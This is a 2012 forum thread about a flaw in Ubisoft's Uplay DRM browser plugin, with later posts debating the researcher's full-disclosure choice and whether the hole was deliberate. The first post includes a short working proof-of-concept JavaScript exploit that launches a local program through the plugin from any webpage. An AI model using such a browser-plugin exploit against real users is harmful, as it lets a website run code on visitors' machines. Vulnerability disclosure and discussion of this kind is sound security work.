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Ubisoft "Uplay" DRM exposed as rootkit

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Ubisoft "Uplay" DRM exposed as rootkit

#1
If you play one of the games below try clicking on this link (tested with Assassin's Creed on Win7 and FireFox).

http://pastehtml.com/view/c6gxl1a79.html

  var x = document.createElement('OBJECT');
  
  x.setAttribute("type", "application/x-uplaypc");
  document.body.appendChild(x);
  x.open("-orbit_product_id 1 -orbit_exe_path QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play")
Ubisoft installs a backdoor that allows any website to take over your computer. The Sony BMG rootkit was also DRM and required product recall when it was discovered.

http://en.wikipedia.org/wiki/Ubisoft#Games

    Assassin's Creed II
    Assassin's Creed: Brotherhood
    Assassin's Creed: Project Legacy
    Assassin's Creed Revelations
    Assassin's Creed III
    Beowulf: The Game
    Brothers in Arms: Furious 4
    Call of Juarez: The Cartel
    Driver: San Francisco
    Heroes of Might and Magic VI
    Just Dance 3
    Prince of Persia: The Forgotten Sands
    Pure Football
    R.U.S.E.
    Shaun White Skateboarding
    Silent Hunter 5: Battle of the Atlantic
    The Settlers 7: Paths to a Kingdom
    Tom Clancy's H.A.W.X. 2
    Tom Clancy's Ghost Recon: Future Soldier
    Tom Clancy's Splinter Cell: Conviction
    Your Shape: Fitness Evolved

Re: Ubisoft "Uplay" DRM exposed as rootkit

#7
Why does Tavis Ormandy (http://seclists.org/fulldisclosure/2012/Jul/375) keep putting fully usable proof of concept exploits out for widely deployed software without giving a vendor time to prepare a patch, or in this case, even notifying them? Off the top of my head, I remember he did this for the windows help center exploit and the java web start exploit. I can't understand why you would do this. You could at least give the vendor a couple weeks, and then if you're super worried, release the details as soon as an exploit is found in the wild.

As-is, he just seems like a raging hacker who loves attention and doesn't care if thousands of unsuspecting users get their credit card details stolen by malware authors. I must be misunderstanding something, yeah?

Re: Ubisoft "Uplay" DRM exposed as rootkit

#8

Why does Tavis Ormandy ( http://seclists.org/fulldisclosure/2012/Jul/375 ) keep putting fully usable proof of concept exploits out for widely deployed software without giving a vendor time to prepare a patch, or in this case, even notifying them? Off the top of my head, I remember he did this for the windows help center exploit and the java web start exploit. I can't understand why you would do this. You could at lea…

I asked a question. If you're going to downvote me for having a wrong opinion, you should at least respond and tell me me the answer to my question, like 'this is proper behavior for a security researcher because X'.

Re: Ubisoft "Uplay" DRM exposed as rootkit

#9

Why does Tavis Ormandy ( http://seclists.org/fulldisclosure/2012/Jul/375 ) keep putting fully usable proof of concept exploits out for widely deployed software without giving a vendor time to prepare a patch, or in this case, even notifying them? Off the top of my head, I remember he did this for the windows help center exploit and the java web start exploit. I can't understand why you would do this. You could at lea…

Because the company wasn't acting in good faith? IMHO they put that there on purpose and they deserve to be exposed as evil bastards that they are.

Re: Ubisoft "Uplay" DRM exposed as rootkit

#10
I'm not sure if that's what the OP implied, but I'm not sure this was done on purpose. "Never attribute to malice that which is adequately explained by stupidity". Ubisoft is well know for their aggressive anti-pirating practices (cloud saves for instance), but that's just too idiotic.

Here's taviso's mail on seclists: http://seclists.org/fulldisclosure/2012/Jul/375

I hope ubisoft reacts quickly.

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